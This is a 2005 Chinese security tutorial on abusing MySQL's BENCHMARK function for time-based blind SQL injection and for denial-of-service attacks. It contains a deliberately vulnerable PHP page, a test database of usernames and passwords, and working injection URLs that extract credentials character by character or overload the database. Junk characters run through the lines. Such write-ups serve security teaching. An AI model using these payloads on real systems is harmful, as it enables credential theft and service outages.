MYSQL中BENCHMARK函数的利用
( h$ I5 [/ T" X5 d8 J6 J本文作者:SuperHei/ y% `, }4 N/ A( h `. }
文章性质:原创
" g% h; n" ?4 ]7 b$ e# y) |3 k9 p+ M发布日期:2005-01-02
% x4 ]- E& o1 [; I6 j# d完成日期:2004-07-09
& @" x" ^* M5 |3 D& E, }& t第一部
4 M* a4 S' L! V# a' M7 v3 |" N" Q" B( s% p2 u9 c0 D
利用时间推延进行注射---BENCHMARK函数在注射中的利用
) m$ M: X7 L8 P* f$ C8 X" m7 r4 T* t3 G+ U
一.前言/思路4 z' m w7 g% e3 q
) c: ^1 _) r, B. {1 w
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
% }- Q+ @4 q. x" _
9 d" L# `" g) J" B% w+ ] 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
5 d2 i+ U1 k0 n' c. ?
" x* q1 Y4 J+ g0 q, u' T5 S* L二.关于BENCHMARK函数
; |. s5 p7 G. ~2 J/ C s* c2 o5 b5 S
在MySQL参考手册里可以看到如下描叙: 6 v0 H6 _0 { u3 V8 x, Z2 `' ~. I
- @. s! y6 @; _4 f4 R% B9 S! ?8 u0 f2 O- j
--------------------------------------------------------------------------------* I& i8 ^0 Y) y& Z
3 r1 V4 {" Y7 T9 \- k. v: i
BENCHMARK(count,expr)
, v+ w/ m4 k' F( f8 x. tBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 7 R9 n2 l; b2 e- Z
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); , E0 l) R# i0 F) K! u: N
+----------------------------------------------+
" | h6 c& p" L8 t/ {5 _( b| BENCHMARK(1000000,encode("hello","goodbye")) |
* m# f) \2 R, x1 ?, |+----------------------------------------------+
+ T' F% t& f/ B5 n+ w7 l8 G| 0 |
# X! w" @1 Z4 p( t+----------------------------------------------+ ; B3 \9 q# |1 g& A- c
1 row in set (4.74 sec)
9 Z1 u. h) W- }. L4 N! H* z
6 G. o; q; J- i% ^% d3 T报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
4 M" V, O, `4 z: V4 m( s8 `, ?0 `
5 T$ z" v& M& R$ I5 ?2 o+ H) _7 H8 x% z6 R5 q' Q N- Y! c
--------------------------------------------------------------------------------
% O5 t' Y/ u7 h' p' e* E$ \
0 X' l: ^6 N4 j0 h5 t 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
8 ]' M8 c1 n$ F+ M
* Z- I0 u5 E" m3 Rmysql> select md5( 'test' );
/ F' h) j9 E: {* y+ R+----------------------------------+ 4 Z9 p A( I9 v% b- F/ W
| md5( 'test' ) | - m3 Y( Q' u" [' M
+----------------------------------+
# r4 b0 F1 s: g! g) h9 G& ~- O- B| 098f6bcd4621d373cade4e832627b4f6 |
! b* c1 F7 e* C; [( R* E+----------------------------------+ 6 |$ ]& ]. w: L0 ^0 q4 Z* \( G
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 4 `. U( y- ^+ `. F: |2 [& C/ C
" m7 q7 F# M' p8 G
mysql> select benchmark( 500000, md5( 'test' ) ); + Q. S- h, L: Z
+------------------------------------+ + j, |* A# I3 F G6 d k
| benchmark( 500000, md5( 'test' ) ) |
3 U: L& B; M% D4 w( }8 s3 t9 }+------------------------------------+
9 q0 N2 s- |5 {/ t9 U9 M3 X: n6 \| 0 |
9 V k. u% J6 j# {. H+------------------------------------+ 1 x5 Y- r% ~& F; ?! D$ T6 V5 X
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
, w+ O) a& X' G4 b+ d) u ) D/ F; U0 ]" j- W- Z3 x
, {& `" {7 C; E% w: d7 f8 S 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 , t" ?, G+ g& J. q6 m
! g1 y; s* x" C G三.具体例子. f5 W+ n0 X$ @: ]8 t3 f- s
8 \+ y) g3 C+ T! V9 @
首先我们看个简单的php代码:7 `, \& N7 R* m+ k) j8 m
: Y' ?1 Y; o$ ~< ?php ; K- t( e4 Z5 @' [
$servername = "localhost";
2 x8 F+ ]0 q) T% P$dbusername = "root"; + C# m% r2 e5 G6 e# o
$dbpassword = "";
8 `( Y- `% `& e* }3 V% k$dbname = "injection";
% A& F4 E. R4 V8 e/ F* M6 C5 [* i& f( X: v" B
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
' W5 _' M" q& D2 n" L# A! ^ S5 @2 q R9 s p
$sql = "SELECT * FROM article WHERE articleid=$id"; 9 Y1 j8 Z7 h+ q. e @ b
$result = mysql_db_query($dbname,$sql);
' R" q' ?6 c2 W% R$row = mysql_fetch_array($result);
+ B% C* D0 }/ {& X! i' l- x
' U$ J6 F+ X, i; H0 L: @if (!$row)
3 z$ N( W: G9 @{
# V$ J8 t1 ~7 X7 gexit; - m* k5 U7 H$ } r( b6 t; f* v7 }
}
+ A; F1 D6 k* B* \' A% s2 [/ _?>* B0 X' I+ r4 ]$ ~
) J/ B! g( k: t/ _: F7 w, a0 Z# i
: ^2 T5 _. Q T( {6 Z" P3 o 数据库injection结构和内容如下:
7 U2 v, C" A7 B' S$ G5 ]6 j6 A/ J9 ^) u& R! w
# 数据库 : `injection`
, i: K" C& l1 W#
1 V1 y; l; ?* `5 u% G5 E& M% b
: G Q# v, n: E! ^( ~0 @# --------------------------------------------------------
( G9 g) Y2 I9 a H& C& w1 F/ j: ]0 s' @$ w7 ?( L2 o U
# 3 l/ _0 s( ?8 K9 Y- [
# 表的结构 `article`
! R5 O# ~- p4 x/ v$ A# & K* d5 {' a6 M& ?7 a {
6 q( w% @. Z0 c7 S! \
CREATE TABLE `article` ( / b2 l# Z. c9 U/ A4 i9 I
`articleid` int(11) NOT NULL auto_increment,
+ Y/ _" z8 e5 O: H% k# j7 ]. f6 W`title` varchar(100) NOT NULL default '', ! V- I( O+ B6 Z0 A2 X- g2 {
`content` text NOT NULL, 0 j2 t) x! V$ z9 L6 Q) t/ s8 w
PRIMARY KEY (`articleid`) K) i' H. J6 w
) TYPE=MyISAM AUTO_INCREMENT=3 ; # A% B9 P; z8 K. {0 Z7 e
+ T! U2 A1 g& L#
! m: h" x m$ {- P3 M8 S# 导出表中的数据 `article` ! H8 S1 O) w- [1 q/ { j
#
% c) x8 S% r0 U0 y
; O: n0 m6 Y% @' O" K5 bINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); # Q7 k3 t, w# B h
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 5 Q% Q0 e( s+ ], v( U
2 }+ @! O$ U0 D2 h1 S5 p8 l6 Z9 Z' J
# -------------------------------------------------------- . p: y) w( @1 o8 ?( u) ]6 X
( A" c# v* a# R F% X* `3 E# 4 v) S$ g1 m; }, x2 ?
# 表的结构 `user`
+ Q/ K; y# M; u, H8 d# ( N. ]) J6 S. |3 C$ k& i2 Y6 m
. H. A# m. m0 \9 g& i {& m' |9 T
CREATE TABLE `user` ( ' F8 P+ Q! o$ G8 a. W7 e
`userid` int(11) NOT NULL auto_increment,
+ j" U# H; m( M`username` varchar(20) NOT NULL default '', ) s- F% K0 R1 B4 f
`password` varchar(20) NOT NULL default '',
' ]1 v$ R% D; \- n: I, S) \PRIMARY KEY (`userid`)
( t, N3 C/ J' s. B) TYPE=MyISAM AUTO_INCREMENT=3 ;
# n/ |/ i1 S9 w% m/ U* X. N9 \' S5 A4 L
#
6 E; q0 V3 Y9 L0 @6 C1 {# 导出表中的数据 `user` 2 [% [7 N' ?" A u$ n' W* z
# 9 W9 z% I. M0 M5 E. R& g& L
2 ^. p* h* e6 z
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
/ x7 q7 ]: ]5 t8 N3 s) i- |4 B$ X2 zINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
4 R n" b0 B; V7 \* V7 \ " N- `' }3 N4 L) E2 P
9 ~" _2 y; z" f7 Y) _5 K$ F 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:0 P8 N7 ]( p4 q" @+ |( B
& b4 A# z- M8 t$ h/ i5 w0 fid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
: `9 Q$ l: k* W' F , H3 R/ u- ^4 Q, l/ E
( n! d' j; m" C6 A" A+ P
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:) U' S! B# M# ~- `* V
) @, ~/ t3 k; `4 \http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
. z% {4 r) |1 \9 L8 N . b/ M, [9 p7 K. L0 M7 D" W1 M
. s$ w/ G) b6 F 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
/ }" @* r" s1 Q+ V: s U
( r' ?: ` k0 ^9 K# A$ s$ Z 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 |$ P+ r# a8 D8 e6 v! m
0 m. y( X, }2 c. z* j" r
第二部
- S* S- q- N S( C: h# N- ?2 e, o! ?1 z1 |2 r
利用BENCHMARK函数进行ddos攻击
( f5 w( B4 X. f9 o$ W
$ g7 V' v3 {, U 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:9 q2 E- v1 }, s4 T
7 \* v$ `- O) J+ r4 e7 i6 Lhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
! D8 q' [9 q! ~' X 2 Z" R/ S$ c6 h1 R) _
! W5 C, n# Q6 ^8 P2 x: }% {& A
小结/ W. _. y. I0 F/ J# v2 m
" `4 S; E+ ~6 T2 [/ X3 c 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
3 A' c! w: u, O5 I) i + N5 a8 t, c* O6 r) q
+ G3 @9 F C0 M7 @8 ~! l
|